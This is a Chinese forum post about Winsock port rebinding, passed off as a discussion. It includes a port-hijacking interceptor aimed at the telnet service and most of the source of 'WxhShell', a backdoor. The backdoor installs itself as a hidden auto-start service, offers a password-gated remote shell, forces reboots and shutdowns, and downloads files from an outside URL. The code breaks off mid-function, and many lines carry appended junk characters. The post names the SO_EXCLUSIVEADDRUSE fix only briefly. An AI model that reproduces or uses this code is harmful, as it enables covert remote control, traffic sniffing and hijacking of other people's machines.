社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16824阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7Z9.z 4\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3@%BA(M  
|yuGK  
  saddr.sin_family = AF_INET; V#+126  
_3*: y/M_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); e_tZja2s  
iz,]%<_PE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7O]J^H+7  
"Wxo[I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1*TXDo_T  
OA\vT${5  
  这意味着什么?意味着可以进行如下的攻击: %-T}s`Z  
lK_ ~d_f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &9S8al 8"  
oD Q9.t  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Zjw!In|vC  
02;f2;I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {(8U8f<'=y  
YWybPD4\(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   >cC Gx  
721{Ga4~S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v/QEu^C  
dw@TbJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [P(rY  
-9hp+0 <  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oNh68ON:c  
7uWJ6Wk  
  #include  zjZ;xn  
  #include W*1d X"S  
  #include ee4KMS  
  #include    nNkyOaK*4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :Bdipc  
  int main() @&/s~3  
  { y8Ei=[  
  WORD wVersionRequested; `NYF?%  
  DWORD ret; 7Y$4MMNQ  
  WSADATA wsaData; u<BHf@AI  
  BOOL val; ay!6 T`U`  
  SOCKADDR_IN saddr; =ip~J<sw&  
  SOCKADDR_IN scaddr; liBAJx  
  int err; HQ ELK  
  SOCKET s; Q"x`+?!  
  SOCKET sc; v4nv Z6  
  int caddsize; 0(Yh~{   
  HANDLE mt; oAIY=z  
  DWORD tid;   *93l${'  
  wVersionRequested = MAKEWORD( 2, 2 ); Tw`F?i~  
  err = WSAStartup( wVersionRequested, &wsaData ); H8(0. IR  
  if ( err != 0 ) { we6+2  
  printf("error!WSAStartup failed!\n"); 9;;]q?*  
  return -1; ,(1vEE[9-  
  } (,d4"C  
  saddr.sin_family = AF_INET; FN{H\W1cf  
   ,I 9][_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }3 fLV  
FU [8:o62  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); xg*\j)_}  
  saddr.sin_port = htons(23); lo IL{2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v Ie=wf~D`  
  { __oY:d(~  
  printf("error!socket failed!\n"); 9b"}CEw  
  return -1;  60Xl.  
  } "t3uW6&  
  val = TRUE; tal>b]B;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $9LGdKZ_D  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B;Q`vKY  
  { yoq\9* ?u^  
  printf("error!setsockopt failed!\n"); F:[Nw#gj/  
  return -1; %RfY`n  
  } P>yG/:W;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Zi2Eu4p l{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =H.<"7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nm{'HH-4  
Mo:!jS~a(Z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E-BOIy,  
  { 0XBBA0t q  
  ret=GetLastError(); E.zYi7YUKK  
  printf("error!bind failed!\n"); XZUB*P}]D  
  return -1; d=xI   
  } ;L\!g%a  
  listen(s,2); {Oc?C:aI=  
  while(1) t(uB66(_F  
  { ~#IWM+I  
  caddsize = sizeof(scaddr); "Gi+zkVm  
  //接受连接请求 YG}p$\R  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &UJ Ty'  
  if(sc!=INVALID_SOCKET) {Kq*5Aq8  
  { mTrI""Jsu;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .>AFf9P  
  if(mt==NULL) Q+y-*1   
  { L XTipWKz  
  printf("Thread Creat Failed!\n"); V)WIfRs  
  break; b7>-aem@I  
  }  HzgQI  
  } ?vL^:f["  
  CloseHandle(mt); \pBYWf  
  } @@&@}IQcR1  
  closesocket(s); j:de}!wc  
  WSACleanup(); &\WkJ}&PnA  
  return 0; n{qa]3  
  }   }R(0[0NQe-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~]6Oz;~<3  
  { 0IT20.~  
  SOCKET ss = (SOCKET)lpParam; 's7SZ$(  
  SOCKET sc; $@ T6g  
  unsigned char buf[4096]; )+Y\NO?O  
  SOCKADDR_IN saddr; `0n 7Cyed  
  long num; ]/<Qn-BbU  
  DWORD val; y$r?t0  
  DWORD ret; G}9bC r,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zo}\gg3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .LGkr@P  
  saddr.sin_family = AF_INET; fd,}YAiX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |aOnV,}  
  saddr.sin_port = htons(23); nCSd:1DY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^}Dv$\;6  
  { |+$j( YuH  
  printf("error!socket failed!\n"); vt(}ga  
  return -1; p[k9C$@e}  
  } +"N<-  
  val = 100; ~YT>:Np  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (`uC"MLk  
  { o<Rxt *B  
  ret = GetLastError(); ,Rr&.  
  return -1; b/D9P~cE  
  } 4<eJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zYgK$u^H  
  { 4o)\DB?!  
  ret = GetLastError(); ?G%, k LJJ  
  return -1; E%J7jA4  
  } {ZBb. $}RC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yW6[Fpw  
  { +~pc% 3*  
  printf("error!socket connect failed!\n"); !!D:V`F/d  
  closesocket(sc); ytBxe]  
  closesocket(ss); yrK--C8  
  return -1; t KqCy\-q  
  } Um0<I)  
  while(1) V;(*\"O  
  { Jj^<:t5{rN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4{;8 ]/.a  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E#HU?<q8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _>:=<xyOq  
  num = recv(ss,buf,4096,0); aBA#\eV  
  if(num>0) >FMT#x t  
  send(sc,buf,num,0); TF}4X;3Dsy  
  else if(num==0) \ /X!tlwxh  
  break; WHD/s  
  num = recv(sc,buf,4096,0); :xUl+(+  
  if(num>0) iYfLo">  
  send(ss,buf,num,0); oE|{|27X  
  else if(num==0) {dSU \':  
  break; iR}i42Cu  
  } S;AnpiBM8  
  closesocket(ss); &0<R:K?>N  
  closesocket(sc); 7yCx !P;  
  return 0 ; 9|kEq>d  
  } p6eDd"Y  
c402pj  
G~$M"@Q7N  
========================================================== li'1RKr  
0.+Z;j  
下边附上一个代码,,WXhSHELL g9r5t';  
W0?Y%Da(4m  
========================================================== 51(`wo>LS  
B6!<@* BI  
#include "stdafx.h" |~" A:gf  
.1?i'8TF  
#include <stdio.h> :z,vJ~PW  
#include <string.h> Jv{"R!e"P  
#include <windows.h> 0 f#a_  
#include <winsock2.h> <T2~xn  
#include <winsvc.h> R7;rBEt8  
#include <urlmon.h> "62Ysapq+  
'8pPGh9D  
#pragma comment (lib, "Ws2_32.lib") <n2{+eO  
#pragma comment (lib, "urlmon.lib") I9j+x ])  
a!J ow?(  
#define MAX_USER   100 // 最大客户端连接数 L4A/7Ep  
#define BUF_SOCK   200 // sock buffer +q, n}@y=  
#define KEY_BUFF   255 // 输入 buffer nR|LV'(  
'hHX"\|RA  
#define REBOOT     0   // 重启 `GN5QLg#}0  
#define SHUTDOWN   1   // 关机 GHsdLe=t0#  
!vo'8r?&  
#define DEF_PORT   5000 // 监听端口 ][K8\  
&8YI)G%  
#define REG_LEN     16   // 注册表键长度 ; dHOH\,:  
#define SVC_LEN     80   // NT服务名长度 VEYKrZA  
uB&I56  
// 从dll定义API cS;=_%~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &/#Tk>:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i^V4N4ux]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '*{Rn7B5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1X_!%Z  
\w\47/k{  
// wxhshell配置信息 Va[dZeoy  
struct WSCFG { w#bbm'j7r  
  int ws_port;         // 监听端口 .1q~,}toX  
  char ws_passstr[REG_LEN]; // 口令 3/|{>7]1  
  int ws_autoins;       // 安装标记, 1=yes 0=no % |Gzht\  
  char ws_regname[REG_LEN]; // 注册表键名 X|lmH{kf  
  char ws_svcname[REG_LEN]; // 服务名 \U  =>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 28qWC~/9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B46H@]d#7K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =d4',[O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }6{)Jv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q>lkLHS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C]cT*B^  
SE-, 1p  
}; Kz2^f@5=F  
cw-JGqLx  
// default Wxhshell configuration `0vy+T5  
struct WSCFG wscfg={DEF_PORT, [&}<! :9'  
    "xuhuanlingzhe", ;%.k}R%O@  
    1, 6!PX! UkF  
    "Wxhshell", ?|rw=%  
    "Wxhshell", Gg,k  
            "WxhShell Service", ,7nb;$]  
    "Wrsky Windows CmdShell Service", *E q7r>[  
    "Please Input Your Password: ", 3K] 0sr  
  1,  G/;aZ  
  "http://www.wrsky.com/wxhshell.exe", zgOwSg8  
  "Wxhshell.exe" +A3\Hj&W  
    }; .8xacVyK2  
#Lt+6sa]2@  
// 消息定义模块 -hV KPIb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q2WrB+/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FrM~6A_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cx%9UK*c  
char *msg_ws_ext="\n\rExit."; k  5kX  
char *msg_ws_end="\n\rQuit."; iYs?B0*JWK  
char *msg_ws_boot="\n\rReboot..."; 4!W?z2ly~R  
char *msg_ws_poff="\n\rShutdown..."; t-m,~IoW  
char *msg_ws_down="\n\rSave to "; &zDFf9w2{  
}(I DPaJ  
char *msg_ws_err="\n\rErr!"; BJ2W }R  
char *msg_ws_ok="\n\rOK!"; oa|*-nw  
e~[z]GLO%  
char ExeFile[MAX_PATH]; <g1hdF0  
int nUser = 0; yFtf~8s3  
HANDLE handles[MAX_USER]; `5jB|r/  
int OsIsNt; ~g|0uO}.  
B{7/A[$%C  
SERVICE_STATUS       serviceStatus; 5Jd {Ev  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hf5SpwxLiH  
}n8;A;axi  
// 函数声明 4gt "dfy+  
int Install(void); $ aBSr1  
int Uninstall(void); m8A1^ R  
int DownloadFile(char *sURL, SOCKET wsh); C8zeqS^N  
int Boot(int flag); m|gd9m $,?  
void HideProc(void); JJ06f~Iw[  
int GetOsVer(void); A{"t0Ai='0  
int Wxhshell(SOCKET wsl); 9 9BK/>R  
void TalkWithClient(void *cs); @a3v[}c*  
int CmdShell(SOCKET sock); SytDo (_=W  
int StartFromService(void); &Y2P!\\2  
int StartWxhshell(LPSTR lpCmdLine); VQ}3r)ch  
l:}4 6%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -%$ dFq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OvG|=  
wA&)y>n-  
// 数据结构和表定义 Y\S^DJy  
SERVICE_TABLE_ENTRY DispatchTable[] = iFchD\E*o  
{ UHHKI)(  
{wscfg.ws_svcname, NTServiceMain}, .[ s82c]]6  
{NULL, NULL} Tz~ ftf  
}; +>({pHZ<S  
|.W;vc<  
// 自我安装 4'| :SyOm  
int Install(void) J, >PLQAa  
{ }f*S 9V  
  char svExeFile[MAX_PATH]; XmR5dLc8  
  HKEY key; .?]_yX  
  strcpy(svExeFile,ExeFile); K0a 50@B]  
}-iOYSn  
// 如果是win9x系统,修改注册表设为自启动 kfECC&"  
if(!OsIsNt) { ]`9K|v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DMW:%h{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qE=OQs9  
  RegCloseKey(key); Vtk|WV?>P+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bUL9*{>G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '" yl>"  
  RegCloseKey(key); =_3qUcOP  
  return 0; vH8%a8V  
    } ]iX$p~riH  
  } Rj= Om  
} DlO;EH  
else { (LPD  
S`.-D+.68  
// 如果是NT以上系统,安装为系统服务 6[7k}9`alz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IQv>{h}  
if (schSCManager!=0) F'*4:WD7  
{ - mXr6R?  
  SC_HANDLE schService = CreateService {m GWMv  
  ( n/D]r  
  schSCManager, 4tTJE<y  
  wscfg.ws_svcname, z|H>jit+  
  wscfg.ws_svcdisp, N Q=YTRU  
  SERVICE_ALL_ACCESS, Dw,f~D$+ic  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W{aNS@1  
  SERVICE_AUTO_START, c>.Xc[H  
  SERVICE_ERROR_NORMAL, Lcm!e  
  svExeFile, BT0hx!Ti  
  NULL, Gjr2]t;E  
  NULL, 2 wvDC@  
  NULL, eQj/)@B:V  
  NULL, F tjm@:X  
  NULL r U5'hK  
  ); t,nB`g?  
  if (schService!=0) #1R %7*$i  
  { gvYs<,:  
  CloseServiceHandle(schService); B[50{;X  
  CloseServiceHandle(schSCManager); uD3_'a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e vuP4-[y  
  strcat(svExeFile,wscfg.ws_svcname); =<xbE;,0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k =_@1b-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W -&5 v  
  RegCloseKey(key); _Oq\YQb v  
  return 0; ~V)E:(  
    } q5PYc.E([  
  } L;`t%1  
  CloseServiceHandle(schSCManager); k6S<46}h|  
} O?Tg`]EX  
} ? Y* PVx9Y  
 qI@_  
return 1; 2=EKAg=S  
} [%kucGC7  
_TF>c:m3  
// 自我卸载 w4a7c  
int Uninstall(void) eH{ 9w8~  
{ 6Tnzg`0I  
  HKEY key; 9v0|lS!-  
Nig-D>OS  
if(!OsIsNt) { F)Lbr>H?I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  sd%~pY}  
  RegDeleteValue(key,wscfg.ws_regname); 7/L7L5h<  
  RegCloseKey(key); *_wBV M=2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :_*Q IyW  
  RegDeleteValue(key,wscfg.ws_regname); M='Kjc>e  
  RegCloseKey(key); `m^OnH  
  return 0; qZe"'"3M  
  } VWa(@ A  
} Y{=@^4|]  
} /+msrrpD  
else { |e\%pfZ   
Lw`\J|%p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ej+!|97M  
if (schSCManager!=0) 3I+pe;  
{ @@jdF-Utj;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Fj(g!`  
  if (schService!=0) J^4k}  
  { 2wCRT}C  
  if(DeleteService(schService)!=0) { oV`sCr5%  
  CloseServiceHandle(schService);  \Z':hw  
  CloseServiceHandle(schSCManager); \ 714Pyy  
  return 0; *b EsWeP  
  } pyKag;ZtP  
  CloseServiceHandle(schService); ,e2va7}3  
  } ,H*3_c&Q  
  CloseServiceHandle(schSCManager); C#>C59  
} tUQ)q  
} >YLm]7v}  
v &n &i?  
return 1; g%trGW3{-  
} 3QpT O,  
tS$Ne7yk e  
// 从指定url下载文件 4KCxhJq  
int DownloadFile(char *sURL, SOCKET wsh) L@XeAEIq  
{ \~PFD%]:3  
  HRESULT hr; ?F/3]lsggT  
char seps[]= "/"; *rLs!/[Z_  
char *token; )T?ryp3ev  
char *file; KXJHb{?  
char myURL[MAX_PATH]; *C\O] r:'  
char myFILE[MAX_PATH]; }kpkHq"`f  
&^.'g{\Y  
strcpy(myURL,sURL); g5)VV"  
  token=strtok(myURL,seps); iweP3u##  
  while(token!=NULL) 7 <xxOY>y  
  { |Bp?"8%*l  
    file=token; /!hW6u5  
  token=strtok(NULL,seps); $Tg$FfD6&  
  } `;;!>rm  
- g0>>{M'  
GetCurrentDirectory(MAX_PATH,myFILE); i(WWF#N 5  
strcat(myFILE, "\\"); 2xX7dl(cC  
strcat(myFILE, file); J5k%  
  send(wsh,myFILE,strlen(myFILE),0); :"4~VDu  
send(wsh,"...",3,0); c,@6MeKHq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v,;?+Ck  
  if(hr==S_OK) =R05H2hs  
return 0; jKzj Tn9{E  
else s>5 Z  
return 1; isjkfl-!  
]l%j>Vb!L  
} {Fj`'0Xu;  
G;e}z&6<k  
// 系统电源模块 5j]%@]M$Z  
int Boot(int flag) )7^jq|  
{ &kG<LGXP#  
  HANDLE hToken; -Q; w4@  
  TOKEN_PRIVILEGES tkp; {-xnBx  
zF PSk ]  
  if(OsIsNt) { $IHa]9 {  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {#vo^& B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SZ_hGD0  
    tkp.PrivilegeCount = 1; <\5{R@A*6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )Ii=8etdv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zy|hf<V  
if(flag==REBOOT) { +"!IVHY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \4ZQop  
  return 0; {T.VB~C  
} ?CIa)dhu  
else { &~i1 @\]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *4ID$BmO  
  return 0; (< h,R@:  
} "P6MLf1  
  } /=N`P &R#  
  else { ,0~=9dR  
if(flag==REBOOT) { W;=ZQ5Lw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \21!NPXH2  
  return 0; bu]bfnYi9  
} GB#7w82  
else { wNlp4Z'[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fRiHs\+  
  return 0; 8L:0Wp  
} (f)QEho7  
} FEkx&9]  
s[hD9$VB>  
return 1; t?\osPL  
} {S?.bT%&  
W+QI D/  
// win9x进程隐藏模块 DD1S]m  
void HideProc(void) {0?76|  
{ % :NI@59  
!59q@M ya[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZR1EtvVG  
  if ( hKernel != NULL ) 6Pz\6DU,I  
  { d$!ibL#o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pu=YQ #F'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J? C"be=  
    FreeLibrary(hKernel); K$4Ky&89  
  } =_5-z|<  
[Mx+t3M  
return; p|zW2L  
} LVSJK.B  
mz47lv1?  
// 获取操作系统版本 Hxjh P(  
int GetOsVer(void) +U[A.^t  
{ `W5f'RU  
  OSVERSIONINFO winfo; =vR>KE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kp[Jl0K5  
  GetVersionEx(&winfo); jN'zNOV~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~!I \{(  
  return 1; Z',pQ{rD  
  else B{44|aq1|  
  return 0; 3oh(d. Z  
} 1c]GS&(RP  
&W1cc#(  
// 客户端句柄模块 r'&VH]m  
int Wxhshell(SOCKET wsl) ;X8eZQ  
{ #jQITS7  
  SOCKET wsh; Lx.X#n.]T  
  struct sockaddr_in client; ~MOIrF  
  DWORD myID; 9BP-Iet  
-{HA+YL H  
  while(nUser<MAX_USER) 4oJ0,u  
{ tlj^0  
  int nSize=sizeof(client);  0y?bwxkc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9Z} -%Z[,)  
  if(wsh==INVALID_SOCKET) return 1; D ,nF0p  
LVX.stN#p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C&\#{m_1B  
if(handles[nUser]==0) d;K,2  
  closesocket(wsh);  W+e  
else ikUG`F%W  
  nUser++; BRzrtK  
  } Z\n nVM=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bO9X;} \6  
|(]XZ!{  
  return 0; 5~v({R.  
} l2i[wc"9  
Pwf":U)  
// 关闭 socket " 5=Gu1  
void CloseIt(SOCKET wsh) @I9A"4Im  
{ ->d 3FR  
closesocket(wsh); svN& ~@ l  
nUser--; y6f YNB  
ExitThread(0); @PutUYz  
} <d8 Yk>R  
i6aM}p<  
// 客户端请求句柄 F.4xi+S_  
void TalkWithClient(void *cs) C-&\qAo?<:  
{ i!(u4wTFF  
Tv!zqx#E  
  SOCKET wsh=(SOCKET)cs; P9BShC5  
  char pwd[SVC_LEN]; RK< uAiU  
  char cmd[KEY_BUFF]; l4RZ!K*X_"  
char chr[1]; (V&$KDOA  
int i,j; xtyOG  
^tI ,eZ  
  while (nUser < MAX_USER) { `Ps&N^[  
?|kwYA$4o  
if(wscfg.ws_passstr) { C h>r.OfP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )m|)cLT&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f]Xh7m(Gh  
  //ZeroMemory(pwd,KEY_BUFF); UZz/v#y~  
      i=0; `f S$@{YI_  
  while(i<SVC_LEN) { ]@0C1 r  
)1N~-VuT  
  // 设置超时 2)-Umq{]{  
  fd_set FdRead; |cs]98FEf  
  struct timeval TimeOut; 9!; /+P  
  FD_ZERO(&FdRead); @P@?KZ..v!  
  FD_SET(wsh,&FdRead); PKJw%.-  
  TimeOut.tv_sec=8; dSkMA  
  TimeOut.tv_usec=0; }"Clv /3_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KSz;D+L \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3s;^p,9 Y  
*mby fu0q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;?4EVZ#o  
  pwd=chr[0]; %py3fzg  
  if(chr[0]==0xd || chr[0]==0xa) { T,r?% G{XE  
  pwd=0; shKTj5s?  
  break; $Y,y~4I  
  } h/k00hD60  
  i++; xPCRT*Pd  
    } T\q:  
A`71L V%  
  // 如果是非法用户,关闭 socket fN&@y$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pLSh +*F  
} F JCs$0  
7H.3.j(L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?fW['%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e>0gE`8A  
DaP,3>M  
while(1) { @ Z.BYC  
42M_  %l_  
  ZeroMemory(cmd,KEY_BUFF); 41g "7Mk  
CVE(N/&b  
      // 自动支持客户端 telnet标准   5:|9pe)  
  j=0; MroN=%|t  
  while(j<KEY_BUFF) { xIA]5@;a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8wV`mdKN  
  cmd[j]=chr[0]; FRa>cf4  
  if(chr[0]==0xa || chr[0]==0xd) { B`|f"+.  
  cmd[j]=0; |P@N}P@  
  break; ,R. rxoO  
  } 0nbY~j$A=  
  j++; (@m/j2z  
    } H-\Ym}BGu  
0CO@@`~4  
  // 下载文件 9HB+4q[  
  if(strstr(cmd,"http://")) { xpX<iT>5u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~y{_NgMo  
  if(DownloadFile(cmd,wsh)) _AzI\8m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .do8\  
  else ~[%_]/#&%z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ncqAof(/  
  } AXF 1{  
  else { /%g+|C  
bmu]zJ  
    switch(cmd[0]) { _o[fjd  
  7r&lW<:>  
  // 帮助 %_."JT$v{  
  case '?': { k3K*{"z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q #mBNe62p  
    break; Om^(CAp  
  } &(oA/jFQ  
  // 安装 aq)g&.dw?  
  case 'i': { DkX^b:D*f  
    if(Install()) }`kiULC'=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~egF=w  
    else ? X6M8`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r0!')?#Z  
    break; f0vO(@I  
    } #9gx4U  
  // 卸载 793 15A  
  case 'r': { >TMd1? ,  
    if(Uninstall()) )$RV)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d?&`Z Vl  
    else .W^B(y(tA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /78]u^SW  
    break; ((C|&$@M  
    } 58XZ]Mc0  
  // 显示 wxhshell 所在路径 q>Di|5<y  
  case 'p': { 3m= _a  
    char svExeFile[MAX_PATH]; u?" ="-^  
    strcpy(svExeFile,"\n\r"); e8rZP(g&g  
      strcat(svExeFile,ExeFile); cI P.5)Ca  
        send(wsh,svExeFile,strlen(svExeFile),0); +: x[cK  
    break; EjL]#,QR  
    } [0EWIdT*b  
  // 重启 =* G3Khz!  
  case 'b': { D%~tU70a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7mq&]4-G  
    if(Boot(REBOOT)) m^!:n$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4j~q,# $LW  
    else { ~n- Px)  
